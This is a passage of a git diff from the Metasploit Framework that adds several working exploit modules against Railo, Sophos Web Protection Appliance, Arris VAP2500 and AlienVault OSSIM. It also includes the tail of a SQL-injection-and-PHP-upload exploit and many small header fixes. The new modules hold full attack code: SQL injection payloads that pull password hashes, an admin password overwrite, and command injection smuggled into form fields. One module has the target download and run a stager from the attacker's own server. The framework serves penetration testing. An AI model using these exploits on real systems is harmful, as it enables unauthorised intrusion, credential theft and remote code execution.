tusuario where id_user = 0; + sqli = "test' AND (SELECT 5612 FROM(SELECT COUNT(*),CONCAT(0x#{hex_clue},(SELECT MID((IFNULL" + sqli << "(CAST(password AS CHAR),0x20)),1,50) FROM tusuario WHERE id_user = 0 LIMIT 0,1)" + sqli << ",0x#{hex_clue},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY " + sqli << "x)a) AND 'msf'='msf" + + password = inject_sql(sqli, clue) + + if password && password.length != 0 + print_good("#{peer} - Extracted admin password hash, unsalted md5 - [ #{password} ]") + else + print_error("#{peer} - Unable to extract password hash!") + return false + end + end + + + def inject_sql(sql, fence_post) + # Extract password hash from database + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, 'mobile', 'index.php'), + 'vars_post' => { + 'action' => 'login', + 'user' => sql, + 'password' => 'pass', + 'input' => 'Login' + } + }) + + result = nil + if res && res.code == 200 + match = res.body.match(/(?<=#{fence_post})(.*)(?=#{fence_post})/) + if match + result = match[1] + else + print_error("#{peer} - SQL injection failed") + end + end + result + end + + def upload + # Extract hash and hash2 from response + res = send_request_cgi({ + 'method' => 'GET', + 'cookie' => @cookie, + 'uri' => normalize_uri(uri, 'index.php'), + 'vars_get' => { + 'sec' => 'gsetup', + 'sec2' => 'godmode/setup/file_manager' + } + }) + + if res && res.code == 200 && res.body =~ /(?<=input type="submit" id="submit-go")(.*)(?=)/ + hash = $1 + else + print_error("#{peer} - Could not extract hash from response!") + fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!") + end + + # Extract hash2 + if form =~ /(?<=name="hash2" type="hidden" value=")(.*?)(?=" \/>)/ + hash2 = $1 + else + print_error("#{peer} - Could not extract hash2 from response!") + fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!") + end + + # Extract real_directory + if form =~ /(?<=name="real_directory" type="hidden" value=")(.*?)(" \/>)/ + real_directory = $1 + else + print_error("#{peer} - Could not extract real_directory from response!") + fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!") + end + else + print_error("#{peer} - Could not identify upload form!") + fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!") + end + + + # Upload script + @payload_name = "#{rand_text_alpha(8)}.php" + post_data = Rex::MIME::Message.new + post_data.add_part("", 'text/plain', nil, %Q^form-data; name="file"; filename="#{@payload_name}"^) + post_data.add_part('', nil, nil, 'form-data; name="unmask"') + post_data.add_part('Go', nil, nil, 'form-data; name="go"') + post_data.add_part(real_directory, nil, nil, 'form-data; name="real_directory"') + post_data.add_part('images', nil, nil, 'form-data; name="directory"') + post_data.add_part("#{hash}", nil, nil, 'form-data; name="hash"') + post_data.add_part("#{hash2}", nil, nil, 'form-data; name="hash2"') + post_data.add_part('1', nil, nil, 'form-data; name="upload_file_or_zip"') + + print_status("#{peer} - Attempting to upload payload #{@payload_name}...") + res = send_request_cgi({ + 'method' => 'POST', + 'cookie' => @cookie, + 'uri' => normalize_uri(uri, 'index.php'), + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'data' => post_data.to_s, + 'vars_get' => { + 'sec' => 'gsetup', + 'sec2' => 'godmode/setup/file_manager' + } + }) + + if res && res.code == 200 && res.body.include?("Upload correct") + register_file_for_cleanup(@payload_name) + print_status("#{peer} - Successfully uploaded payload") + else + fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!") + end + end + + + def exploit + # First try to authenticate using default or user-supplied credentials + print_status("#{peer} - Attempting to authenticate using (#{datastore['USER']}:#{datastore['PASS']})") + auth = authenticate + + unless auth + print_status("#{peer} - Attempting to extract auto login hash via SQLi") + auth = login_hash + end + + unless auth + print_status("#{peer} - Attempting to extract admin password hash with SQLi") + extract + fail_with(Failure::NoAccess, "#{peer} - Unable to perform remote code execution!") + end + + print_status("#{peer} - Uploading PHP payload...") + upload + + print_status("#{peer} - Executing payload...") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'images', @payload_name), + 'cookie' => @cookie + }, 1) + end +end diff --git a/modules/exploits/linux/http/peercast_url.rb b/modules/exploits/linux/http/peercast_url.rb index 1a96dbe10c..b501e841af 100644 --- a/modules/exploits/linux/http/peercast_url.rb +++ b/modules/exploits/linux/http/peercast_url.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'PeerCast <= 0.1216 URL Handling Buffer Overflow (linux)', + 'Name' => 'PeerCast URL Handling Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in PeerCast <= v0.1216. The vulnerability is caused due to a boundary error within the diff --git a/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb b/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb index 1db241e608..d9cab6a7a3 100644 --- a/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb +++ b/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/pineapp_livelog_exec.rb b/modules/exploits/linux/http/pineapp_livelog_exec.rb index f76a7463ba..94a67de146 100644 --- a/modules/exploits/linux/http/pineapp_livelog_exec.rb +++ b/modules/exploits/linux/http/pineapp_livelog_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb b/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb index accf593b61..10111bb598 100644 --- a/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb +++ b/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -77,7 +77,7 @@ class Metasploit3 < Msf::Exploit::Remote 'iptest' => "127.0.0.1" # In order to make things as fast as possible } }) - if res and res.code == 200 and res.headers.include?('Set-Cookie') and res.headers['Set-Cookie'] =~ /SESSIONID/ + if res and res.code == 200 and res.get_cookies.include?('SESSIONID') return res.get_cookies else return nil diff --git a/modules/exploits/linux/http/piranha_passwd_exec.rb b/modules/exploits/linux/http/piranha_passwd_exec.rb index 2c61bb5c8f..bcb9e18bf2 100644 --- a/modules/exploits/linux/http/piranha_passwd_exec.rb +++ b/modules/exploits/linux/http/piranha_passwd_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb b/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb index 9be98b2b95..829a161777 100644 --- a/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb +++ b/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/railo_cfml_rfi.rb b/modules/exploits/linux/http/railo_cfml_rfi.rb new file mode 100644 index 0000000000..3684db5572 --- /dev/null +++ b/modules/exploits/linux/http/railo_cfml_rfi.rb @@ -0,0 +1,189 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Railo Remote File Include', + 'Description' => ' + This module exploits a remote file include vulnerability in Railo, + tested against version 4.2.1. First, a call using a vulnerable + line in thumbnail.cfm allows an atacker to download an + arbitrary PNG file. By appending a .cfm, and taking advantage of + a directory traversal, an attacker can append cold fusion markup + to the PNG file, and have it interpreted by the server. This is + used to stage and execute a fully-fledged payload. + ', + 'License' => MSF_LICENSE, + 'Author' => [ + 'Bryan Alexander ', # Discovery/PoC + 'bperry' # metasploited + ], + 'References' => [ + ['CVE', '2014-5468'], + ['URL', 'http://hatriot.github.io/blog/2014/08/27/railo-security-part-four/'] + ], + 'Payload' => { + 'Space' => 99999, # if there is disk space, I think we will fit + 'BadChars' => "", + 'DisableNops' => true, + 'Compat' => { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic netcat perl ruby python bash telnet' + } + }, + 'Platform' => %w( unix ), + 'Targets' => + [ + [ + 'Automatic', + { + 'Platform' => [ 'unix' ], + 'Arch' => ARCH_CMD + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 26 2014')) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base URI of the Railo server', '/railo-context/']), + OptInt.new('STAGEWAIT', [true, 'Number of seconds to wait for stager to download', 10]) + ], self.class) + end + + def check + md5 = '6de48cb72421cfabdce440077a921b25' # /res/images/id.png + + res = send_request_cgi( + 'uri' => normalize_uri('res', 'images', 'id.png') # the targeturi is not used in this request + ) + + if !res + fail_with(Failure::Unknown, 'Server did not respond') + elsif !res.body + fail_with(Failure::Unknown, "Server responded without a body: #{res.code} #{res.message}") + end + + new_md5 = Rex::Text.md5(res.body) + + return Exploit::CheckCode::Appears if new_md5 == md5 + + Exploit::CheckCode::Safe + end + + def exploit + if datastore['SRVHOST'] == '0.0.0.0' + fail_with(Failure::BadConfig, 'SRVHOST must be an IP address accessible from another computer') + end + + url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + + @shell_name = Rex::Text.rand_text_alpha(15) + stager_name = Rex::Text.rand_text_alpha(15) + '.cfm' + + start_service('Uri' => { + 'Proc' => proc do |cli, req| + on_request_stager(cli, req) + end, + 'Path' => '/' + stager_name + }) + + start_service('Uri' => { + 'Proc' => proc do |cli, req| + on_request_shell(cli, req) + end, + 'Path' => '/' + @shell_name + }) + + wh = '5000' # width and height + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'admin', 'thumbnail.cfm'), + 'vars_get' => { + 'img' => url + '/' + stager_name, + 'height' => wh, + 'width' => wh + } + ) + + if !res + fail_with(Failure::Unknown, 'Server did not respond') + elsif res.code != 500 + fail_with(Failure::Unknown, "Server did not respond with the expected HTTP 500: #{res.code} #{res.message}") + end + + print_status('Waiting for first stage to download...') + + i = datastore['STAGEWAIT'] + while !@staged && i > 0 + select(nil, nil, nil, 1) + print_status("Waiting for #{i} more seconds...") + i = i - 1 + end + + @staged = false + + if i == 0 + fail_with(Failure::Unknown, 'Server did not request the stager.') + end + + hash = Rex::Text.md5("#{url + "/" + stager_name}-#{wh}-#{wh}") # 5000 is width and height from GET + + hash.upcase! + + print_status('Executing stager') + + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'admin', 'img.cfm'), + 'vars_get' => { + 'attributes.src' => '../../../../temp/admin-ext-thumbnails/' + hash, + 'thistag.executionmode' => 'start' + } + ) + end + + def on_request_shell(cli, _request) + print_status('Sending payload') + send_response(cli, payload.encoded, {}) + handler(cli) + end + + def on_request_stager(cli, _request) + url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + '/' + @shell_name + + stager = "" + stager << "" + + png = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcS' + png << 'JAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==' + + # A very small PNG file + png = Rex::Text.decode_base64(png) + + stager.each_byte do |b| + png << b + end + + png << 0x00 + + print_status('Sending stage. This might be sent multiple times.') + send_response(cli, png, 'Content-Type' => 'image/png') + + @staged = true + + handler(cli) + end +end diff --git a/modules/exploits/linux/http/smt_ipmi_close_window_bof.rb b/modules/exploits/linux/http/smt_ipmi_close_window_bof.rb index 693c4f991f..38434f957a 100644 --- a/modules/exploits/linux/http/smt_ipmi_close_window_bof.rb +++ b/modules/exploits/linux/http/smt_ipmi_close_window_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/sophos_wpa_iface_exec.rb b/modules/exploits/linux/http/sophos_wpa_iface_exec.rb new file mode 100644 index 0000000000..94ad8c3e36 --- /dev/null +++ b/modules/exploits/linux/http/sophos_wpa_iface_exec.rb @@ -0,0 +1,212 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Sophos Web Protection Appliance Interface Authenticated Arbitrary Command Execution', + 'Description' => %q{ + This module takes advantage of two vulnerabilities in order to gain remote code execution as root + as an otherwise non-privileged authorized user. By taking advantage of a mass assignment + vulnerability that allows an unprivileged authenticated user to change the admininistrator's + password hash, the module updates the password to login as the admin to reach the second vulnerability. + No server-side sanitization is done on values passed when configuring a static network interface. + This allows an administrator user to run arbitrary commands in the context of the web application, + which is root when configuring the network interface. This module will inadvertently delete + any other users that may have been present as a side effect of changing the admin's password. + }, + 'Author' => + [ + 'Brandon Perry ' # discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-14-069/'] + ], + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Privileged' => true, + 'Payload' => + { + 'Space' => 500, + 'DisableNops' => true, + 'BadChars' => "", #base64 encryption ftw! + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic telnet' + } + }, + 'Targets' => + [ + [ 'Sophos Web Protection Appliance 3.8.1.1', { }] + ], + 'DefaultOptions' => + { + 'SSL' => true + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Apr 8 2014' + )) + + register_options( + [ + OptString.new('USERNAME', [true, 'The username to authenticate as', nil]), + OptString.new('PASSWORD', [true, 'The password to authenticate with', nil]), + OptString.new('TARGETURI', [true, 'The target URI', '/']), + Opt::RPORT(443) + ], + self.class + ) + end + + def exploit + init = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'index.php') + }) + + if !init or !init.body + fail_with("Could not connect to host") + end + + print_status("Getting STYLE key...") + + style = '' + init.body.each_line do |line| + next if line !~ /name="STYLE" value="(.*)"/ + style = $1 + end + + if style == '' + fail_with("Could not find style key.") + end + + post = { + 'STYLE' => style, + 'destination' => '', + 'section' => '', + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + } + + print_status("Authenticating as " + datastore['USERNAME']) + login = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/index.php'), + 'method' => 'POST', + 'vars_post' => post, + 'vars_get' => { + 'c' => 'login', + } + }) + + if !login or login.code != 200 or login.body !~ /#{datastore['USERNAME']}<\/a>/ + fail_with("Authentication failed") + end + + #I don't know what salt is being used to hash these + #passwords (probably in js somewhere), so I have + #to use a static one that I saw being POSTed while + #exploring, it is 'notpassword'. + # + #This will actually delete every other user that exists + #except for admin, whose password will be changed + # + #whoops + admin_hash = '[{"id": "default_admin", "username": "admin", "name": "Default Administrator"' + admin_hash << ', "password": "70ec23d3e019a307081732c0162b2733", "description": "Default ' + admin_hash << 'Administrator Account", "admin": true, "roles": ["admin"], "reporting_groups"' + admin_hash << ': [], "user_id": 0}]' + + post = { + 'action' => 'save', + 'STYLE' => style, + 'username' => Rex::Text.uri_encode(Rex::Text.encode_base64(datastore['USERNAME'])), + 'current' => Rex::Text.uri_encode(Rex::Text.encode_base64(datastore['PASSWORD'])), + 'new' => Rex::Text.uri_encode(Rex::Text.encode_base64(datastore['PASSWORD'])), + 'admins' => admin_hash + } + + print_status("Changing old password hash to notpassword") + passchange = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/index.php'), + 'method' => 'POST', + 'vars_post' => post, + 'vars_get' => { + 'c' => 'change_password' + } + }) + + if !passchange or passchange.code != 200 + fail_with("Couldn't update admin's password") + end + + print_status("Logging in as the admin now") + init = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'index.php') + }) + + if !init or init.code != 200 + fail_with("Couldn't reget index page for admin auth") + end + + init.body.each_line do |line| + next if line !~ /name="STYLE" value="(.*)"/ + style = $1 + end + + post = { + 'STYLE' => style, + 'destination' => '', + 'section' => '', + 'username' => 'admin', + 'password' => 'notpassword' + } + + login = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'POST', + 'vars_post' => post, + 'vars_get' => { + 'c' => 'login', + } + }) + + if !login or login.code != 200 or login.body !~ /admin<\/a>/ + fail_with("Couldn't login as admin") + end + + pay = Rex::Text.uri_encode(Rex::Text.encode_base64(payload.encoded)) + post = { + 'STYLE' => style, + 'dhcp' => 'no', + 'address' => "192.16`echo #{pay}|base64 --decode|sh`8.1.16", + 'gateway' => '192.168.1.254', + 'sb_bridge' => 'explicit', + 'netmask' => '255.255.255.0', + 'sb_linktype' => 'auto', + 'dns' => 'yes', + 'dns1' => '192.168.1.254', + 'dns2' => '', + 'dns3' => '' + } + + print_status("Sending payload") + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'POST', + 'vars_post' => post, + 'vars_get' => { + 'c' => 'netinterface', + } + }) + end +end diff --git a/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb b/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb index 63b7031cbc..f34b35bbf2 100644 --- a/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb +++ b/modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/symantec_web_gateway_exec.rb b/modules/exploits/linux/http/symantec_web_gateway_exec.rb index 11a2eabf7d..5a429c1e91 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_exec.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb index 454406d508..1973490faf 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/symantec_web_gateway_lfi.rb b/modules/exploits/linux/http/symantec_web_gateway_lfi.rb index cc04680a46..ca6a24c3da 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_lfi.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_lfi.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb b/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb index 14b0571af2..a46b899f37 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb b/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb index 2e8d2c1359..9cfd6f0a9a 100644 --- a/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb +++ b/modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb @@ -1,5 +1,5 @@ ## -## This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download ## Current source: https://github.com/rapid7/metasploit-framework ### diff --git a/modules/exploits/linux/http/vap2500_tools_command_exec.rb b/modules/exploits/linux/http/vap2500_tools_command_exec.rb new file mode 100644 index 0000000000..e64f6b7146 --- /dev/null +++ b/modules/exploits/linux/http/vap2500_tools_command_exec.rb @@ -0,0 +1,132 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Arris VAP2500 tools_command.php Command Execution', + 'Description' => %q{ + Arris VAP2500 access points are vulnerable to OS command injection in the web management + portal via the tools_command.php page. Though authentication is required to access this + page, it is trivially bypassed by setting the value of a cookie to an md5 hash of a valid + username. + }, + 'Author' => + [ + 'HeadlessZeke' # Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-8423'], + ['CVE', '2014-8424'], + ['OSVDB', '115045'], + ['OSVDB', '115046'], + ['BID', '71297'], + ['BID', '71299'], + ['URL', 'http://goto.fail/blog/2014/11/25/at-and-t-u-verse-vap2500-the-passwords-they-do-nothing/'] + ], + 'DisclosureDate' => 'Nov 25 2014', + 'Privileged' => true, + 'Payload' => + { + 'DisableNops' => true, + 'Space' => 1024, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic telnet' + } + }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Targets' => [[ 'Automatic', { }]], + 'DefaultTarget' => 0 + )) + end + + def check + begin + res = send_request_raw({ + 'method' => 'GET', + 'uri' => '/tools_command.php', + 'cookie' => "p=#{Rex::Text.md5('super')}" + }) + if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/ + return Exploit::CheckCode::Vulnerable + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Safe + end + + def exploit + print_status("#{peer} - Trying to access the device ...") + + unless check == Exploit::CheckCode::Vulnerable + fail_with(Failure::NotVulnerable, "#{peer} - Failed to access the vulnerable device") + end + + print_status("#{peer} - Exploiting...") + + if datastore['PAYLOAD'] == 'cmd/unix/generic' + exploit_cmd + else + exploit_session + end + end + + def exploit_cmd + beg_boundary = rand_text_alpha(8) + end_boundary = rand_text_alpha(8) + + begin + res = send_request_cgi({ + 'uri' => normalize_uri('/', 'tools_command.php'), + 'vars_post' => { + 'cmb_header' => '', + 'txt_command' => "echo #{beg_boundary}; #{payload.encoded}; echo #{end_boundary}" + }, + 'method' => 'POST', + 'cookie' => "p=#{Rex::Text.md5('super')}" + }) + + if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/ + print_good("#{peer} - Command sent successfully") + if res.body.to_s =~ /#{beg_boundary}(.*)#{end_boundary}/m + print_status("#{peer} - Command output: #{$1}") + end + else + fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed") + end + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end + + def exploit_session + begin + send_request_cgi({ + 'uri' => normalize_uri('/', 'tools_command.php'), + 'vars_post' => { + 'cmb_header' => '', + 'txt_command' => "#{payload.encoded}" + }, + 'method' => 'POST', + 'cookie' => "p=#{Rex::Text.md5('super')}" + }, 3) + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end +end diff --git a/modules/exploits/linux/http/vcms_upload.rb b/modules/exploits/linux/http/vcms_upload.rb index 54d0c55806..4b97e64211 100644 --- a/modules/exploits/linux/http/vcms_upload.rb +++ b/modules/exploits/linux/http/vcms_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/wanem_exec.rb b/modules/exploits/linux/http/wanem_exec.rb index e50c966fed..67cb01534f 100644 --- a/modules/exploits/linux/http/wanem_exec.rb +++ b/modules/exploits/linux/http/wanem_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/webcalendar_settings_exec.rb b/modules/exploits/linux/http/webcalendar_settings_exec.rb index 2fe8f0116e..0aa9a24a84 100644 --- a/modules/exploits/linux/http/webcalendar_settings_exec.rb +++ b/modules/exploits/linux/http/webcalendar_settings_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/webid_converter.rb b/modules/exploits/linux/http/webid_converter.rb index 0c6ae762b4..27ad401c98 100644 --- a/modules/exploits/linux/http/webid_converter.rb +++ b/modules/exploits/linux/http/webid_converter.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/zabbix_sqli.rb b/modules/exploits/linux/http/zabbix_sqli.rb index ca19fb5a97..73ae05f5fa 100644 --- a/modules/exploits/linux/http/zabbix_sqli.rb +++ b/modules/exploits/linux/http/zabbix_sqli.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/zen_load_balancer_exec.rb b/modules/exploits/linux/http/zen_load_balancer_exec.rb index 96e02f8cbf..1d6dfc7082 100644 --- a/modules/exploits/linux/http/zen_load_balancer_exec.rb +++ b/modules/exploits/linux/http/zen_load_balancer_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -88,7 +88,6 @@ class Metasploit3 < Msf::Exploit::Remote def exploit user = datastore['USERNAME'] pass = datastore['PASSWORD'] - auth = Rex::Text.encode_base64("#{user}:#{pass}") cmd = Rex::Text.uri_encode(";#{payload.encoded}&") lines = rand(100) + 1 @@ -96,11 +95,14 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)") begin res = send_request_cgi({ - 'uri' => "/index.cgi?nlines=#{lines}&action=See+logs&id=2-2&filelog=#{cmd}", - 'headers' => - { - 'Authorization' => "Basic #{auth}" - } + 'uri' => '/index.cgi', + 'authorization' => basic_auth(user, pass), + 'vars_get' => { + 'nlines' => lines, + 'action' => 'See logs', + 'id' => '2-2', + 'filelog' => cmd + } }, 25) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Failure::Unreachable, 'Connection failed') diff --git a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb index a0103295ed..bd00e11e29 100644 --- a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb +++ b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/ids/alienvault_centerd_soap_exec.rb b/modules/exploits/linux/ids/alienvault_centerd_soap_exec.rb new file mode 100644 index 0000000000..834763a5ad --- /dev/null +++ b/modules/exploits/linux/ids/alienvault_centerd_soap_exec.rb @@ -0,0 +1,140 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rexml/document' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include REXML + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'AlienVault OSSIM av-centerd Command Injection', + 'Description' => %q{ + This module exploits a code execution flaw in AlienVault 4.6.1 and + prior. The vulnerability exists in the av-centerd SOAP web service, + where the update_system_info_debian_package method uses perl backticks + in an insecure way, allowing command injection. This module has been + tested successfully on AlienVault 4.6.0. + }, + 'Author' => + [ + 'Unknown', # From HP ZDI team, Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-3804'], + ['BID', '67999'], + ['ZDI', '14-202'], + ['URL', 'http://forums.alienvault.com/discussion/2690'] + ], + 'Privileged' => true, 